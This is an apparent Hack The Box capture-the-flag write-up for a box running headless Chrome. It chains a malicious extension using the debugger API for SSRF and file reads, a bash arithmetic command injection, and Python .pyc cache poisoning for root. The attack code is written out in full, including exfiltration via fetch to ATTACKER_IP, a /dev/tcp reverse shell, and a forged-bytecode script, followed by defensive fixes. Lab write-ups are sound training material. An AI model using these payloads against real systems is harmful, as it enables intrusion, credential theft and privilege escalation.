$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Full box exploitation of a website that processes Chrome extensions in headless browser. Solution: Upload malicious extension using chrome.debugger API for SSRF, exploit bash arithmetic evaluation injection ([[ $var -eq 0 ]]) for RCE as user, then poison Python .pyc cache with matching timestamp/size in world-writable __pycache__ for root privilege escalation.
Target: 10.129.2.1
Services: SSH (22), HTTP (80) - nginx/1.24.0 Ubuntu
Difficulty: Hard
Attack Chain: Chrome Extension Exploitation -> Bash Arithmetic Injection -> Python .pyc Cache Poisoning
This box demonstrates a sophisticated multi-stage attack involving browser extension abuse, bash arithmetic evaluation vulnerabilities, and Python bytecode cache poisoning for privilege escalation.
nmap -sC -sV -p- 10.129.2.1
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http nginx/1.24.0 (Ubuntu)
The website browsed.htb belongs to a company that develops browser extensions. Key discovery:
/upload.php accepts Chrome extensions in .zip formathttp://localhost/http://browsedinternals.htbChrome extensions with debugger API permissions can:
file:// protocolmanifest.json:
{ "manifest_version": 3, "name": "Security Test Extension", "version": "1.0", "permissions": [ "debugger", "tabs", "activeTab" ], "host_permissions": [ "<all_urls>", "file://*/*" ], "background": { "service_worker": "background.js" }, "content_scripts": [{ "matches": ["<all_urls>"], "js": ["content.js"] }] }
background.js:
// Service worker for malicious extension chrome.runtime.onInstalled.addListener(async () => { console.log("Extension installed, starting reconnaissance..."); // Wait for tabs to be available setTimeout(async () => { try { // Get all tabs const tabs = await chrome.tabs.query({}); for (const tab of tabs) { // Attach debugger to each tab await attachAndExploit(tab); } } catch (e) { console.error("Error:", e); } }, 2000); }); async function attachAndExploit(tab) { try { // Attach debugger await chrome.debugger.attach({tabId: tab.id}, "1.3"); // Enable network interception await chrome.debugger.sendCommand({tabId: tab.id}, "Network.enable"); // Read local files const fileContent = await readLocalFile(tab.id, "/etc/passwd"); exfiltrate("passwd", fileContent); // Probe internal services await probeInternalServices(tab.id); } catch (e) { console.error("Debugger error:", e); } } async function readLocalFile(tabId, path) { try { // Navigate to file:// URL await chrome.debugger.sendCommand( {tabId: tabId}, "Page.navigate", {url: `file://${path}`} ); // Wait for load await new Promise(r => setTimeout(r, 500)); // Get document content const result = await chrome.debugger.sendCommand( {tabId: tabId}, "Runtime.evaluate", {expression: "document.body.innerText"} ); return result.result.value; } catch (e) { return null; } } async function probeInternalServices(tabId) { const targets = [ "http://localhost:3000", // Gitea "http://localhost:5000", // Flask "http://browsedinternals.htb:3000", "http://browsedinternals.htb:5000" ]; for (const url of targets) { try { await chrome.debugger.sendCommand( {tabId: tabId}, "Page.navigate", {url: url} ); await new Promise(r => setTimeout(r, 1000)); const result = await chrome.debugger.sendCommand( {tabId: tabId}, "Runtime.evaluate", {expression: "document.documentElement.outerHTML"} ); exfiltrate(url, result.result.value); } catch (e) { console.error(`Failed to probe ${url}:`, e); } } } function exfiltrate(label, data) { // Send data to attacker server fetch("http://ATTACKER_IP:8000/exfil", { method: "POST", headers: {"Content-Type": "application/json"}, body: JSON.stringify({label: label, data: btoa(data || "")}) }).catch(() => {}); }
content.js:
// Minimal content script (required for manifest) console.log("Content script loaded");
# Create extension zip cd malicious_ext zip -r ../exploit.zip manifest.json background.js content.js # Upload to target curl -X POST -F "[email protected]" http://browsed.htb/upload.php
Through the extension's SSRF capabilities, we discovered:
browsedinternals.htb:3000localhost:5000 running as user larryThe Flask application has an endpoint /routines/<rid> that calls a bash script:
#!/bin/bash # routine_handler.sh if [[ "$1" -eq 0 ]]; then echo "Invalid routine ID" exit 1 fi # Process routine...
The -eq operator in bash performs arithmetic evaluation, which is vulnerable to command injection via array subscript syntax.
How it works:
# Normal comparison [[ "5" -eq 0 ]] # Returns false (exit code 1) # Malicious input with array subscript [[ "a[\$(whoami)]" -eq 0 ]] # Executes whoami!
When bash evaluates a[$(command)] in arithmetic context, it:
$(command)Exploit via Chrome extension:
// In background.js - trigger RCE async function exploitFlask(tabId) { // Base64 encode the command to avoid special character issues const cmd = "cat /home/larry/user.txt > /tmp/flag"; const b64 = btoa(cmd); // Craft the arithmetic injection payload const payload = 'a[$(echo ' + b64 + ' | base64 -d | bash)]'; const encodedPayload = encodeURIComponent(payload); // Trigger the vulnerability const url = `http://localhost:5000/routines/${encodedPayload}`; await chrome.debugger.sendCommand( {tabId: tabId}, "Page.navigate", {url: url} ); // Wait and read the flag await new Promise(r => setTimeout(r, 2000)); // Read the exfiltrated flag const flag = await readLocalFile(tabId, "/tmp/flag"); exfiltrate("user_flag", flag); }
Alternative: Direct reverse shell:
const reverseShell = "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"; const b64 = btoa(reverseShell); const payload = 'a[$(echo ' + b64 + ' | base64 -d | bash)]';
[REDACTED]
After obtaining a shell as larry:
larry@browsed:~$ sudo -l User larry may run the following commands on browsed: (root) NOPASSWD: /opt/extensiontool/extension_tool.py
larry@browsed:~$ ls -la /opt/extensiontool/ total 16 drwxr-xr-x 3 root root 4096 Jan 15 10:00 . drwxr-xr-x 3 root root 4096 Jan 15 10:00 .. drwxrwxrwx 2 root root 4096 Jan 15 10:00 __pycache__ # WORLD WRITABLE! -rwxr-xr-x 1 root root 2048 Jan 15 10:00 extension_tool.py -rw-r--r-- 1 root root 1024 Jan 15 10:00 extension_utils.py
Key observation: The __pycache__ directory is world-writable (drwxrwxrwx)!
extension_tool.py:
#!/usr/bin/env python3 import argparse import extension_utils # <-- Imports local module def main(): parser = argparse.ArgumentParser() parser.add_argument('--ext', required=True) args = parser.parse_args() extension_utils.process_extension(args.ext) if __name__ == "__main__": main()
Python 3.12 uses timestamp-based validation for .pyc files by default:
.pyc Header Format (16 bytes):
Offset Size Description
0 4 Magic number (0xcb0d0d0a for Python 3.12)
4 4 Bit field (0 = timestamp-based validation)
8 4 Source file mtime (little-endian Unix timestamp)
12 4 Source file size (little-endian)
16+ var Marshalled code object
Validation Logic:
.pyc exists in __pycache__.py file#!/usr/bin/env python3 """ Python .pyc Cache Poisoning Exploit Target: /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc """ import marshal import struct import os # Step 1: Get original file metadata source_path = '/opt/extensiontool/extension_utils.py' st = os.stat(source_path) mtime = int(st.st_mtime) size = st.st_size print(f"[*] Source file: {source_path}") print(f"[*] mtime: {mtime}") print(f"[*] size: {size}") # Step 2: Create malicious code # This code will execute when the module is imported evil_code = ''' import os # Read root flag try: with open("/root/root.txt", "r") as f: flag = f.read().strip() # Write to world-readable location with open("/tmp/root_flag", "w") as f: f.write(flag) os.chmod("/tmp/root_flag", 0o644) print(f"[+] Flag written to /tmp/root_flag") except Exception as e: print(f"[-] Error: {e}") # Original module functionality (to avoid errors) def process_extension(name): """Process the extension (stub)""" print(f"Processing extension: {name}") return True def validate_extension(path): """Validate extension (stub)""" return True ''' # Step 3: Compile to code object code = compile(evil_code, "extension_utils.py", "exec") # Step 4: Build .pyc header # Python 3.12 magic number magic = b'\xcb\x0d\x0d\x0a' # Bit field: 0 = timestamp-based validation bit_field = struct.pack('<I', 0) # Timestamp from original file (CRITICAL!) timestamp = struct.pack('<I', mtime) # Size from original file (CRITICAL!) size_bytes = struct.pack('<I', size) # Step 5: Marshal the code object marshalled = marshal.dumps(code) # Step 6: Assemble the .pyc file pyc_content = magic + bit_field + timestamp + size_bytes + marshalled # Step 7: Write to __pycache__ output_path = '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc' with open(output_path, 'wb') as f: f.write(pyc_content) print(f"[+] Malicious .pyc written to: {output_path}") print(f"[+] Header: magic={magic.hex()}, mtime={mtime}, size={size}") print(f"[*] Now run: sudo /opt/extensiontool/extension_tool.py --ext Fontify")
# Step 1: Create the malicious .pyc larry@browsed:~$ python3 exploit_pyc.py [*] Source file: /opt/extensiontool/extension_utils.py [*] mtime: 1705312800 [*] size: 1024 [+] Malicious .pyc written to: /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc [+] Header: magic=cb0d0d0a, mtime=1705312800, size=1024 [*] Now run: sudo /opt/extensiontool/extension_tool.py --ext Fontify # Step 2: Trigger the import as root larry@browsed:~$ sudo /opt/extensiontool/extension_tool.py --ext Fontify [+] Flag written to /tmp/root_flag Processing extension: Fontify # Step 3: Read the flag larry@browsed:~$ cat /tmp/root_flag [REDACTED]
[REDACTED]
Vulnerability: Extension upload + headless Chrome execution
Technique: Malicious extension with chrome.debugger API
Impact: SSRF, local file read, internal service discovery
Indicators:
Vulnerability: [[ "$var" -eq 0 ]] with user-controlled $var
Technique: Array subscript command injection a[$(cmd)]
Impact: Remote Code Execution
Indicators:
-eq, -ne, -lt, -gt operatorsVulnerable patterns:
# All of these are vulnerable: [[ "$input" -eq 0 ]] [[ "$input" -ne 1 ]] [[ "$input" -lt 100 ]] (( input > 0 )) let "result = input + 1"
Vulnerability: World-writable __pycache__ + sudo Python script
Technique: Create malicious .pyc with matching timestamp/size
Impact: Privilege Escalation to root
Indicators:
__pycache__ with write permissionssudo NOPASSWD on Python scriptKey insight: Python's default .pyc validation is timestamp-based, not hash-based. If you can write to __pycache__ and know the source file's mtime/size, you can inject arbitrary bytecode.
# Validate extension permissions DANGEROUS_PERMISSIONS = ['debugger', 'nativeMessaging', 'proxy'] def validate_extension(manifest): permissions = manifest.get('permissions', []) for perm in permissions: if perm in DANGEROUS_PERMISSIONS: raise SecurityError(f"Dangerous permission: {perm}")
# Use regex validation instead of arithmetic comparison if [[ ! "$1" =~ ^[0-9]+$ ]]; then echo "Invalid input: must be numeric" exit 1 fi # Or use string comparison if [[ "$1" == "0" ]]; then echo "Invalid routine ID" exit 1 fi
# Restrict __pycache__ permissions chmod 755 /opt/extensiontool/__pycache__ chown root:root /opt/extensiontool/__pycache__ # Or use hash-based validation export PYTHONPYCACHEPREFIX=/tmp/pycache # Or compile with --check-hash-based-pycs=always
malicious_ext/
├── manifest.json # Extension manifest with debugger permissions
├── background.js # Main exploit code (service worker)
└── content.js # Minimal content script
exploit_pyc.py # Python .pyc cache poisoning script
Chrome extensions with debugger permissions are extremely powerful - They can perform SSRF, read local files, and interact with any webpage. Always validate extension permissions before execution.
Bash arithmetic evaluation is dangerous - The -eq, -ne, -lt, -gt operators perform arithmetic evaluation, which can lead to command injection. Use string comparison or regex validation instead.
World-writable __pycache__ + sudo Python = root - Python's timestamp-based .pyc validation can be bypassed by creating a .pyc with matching metadata. Always restrict __pycache__ permissions.
Defense in depth matters - Each vulnerability alone might not be critical, but chained together they lead to full system compromise.
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar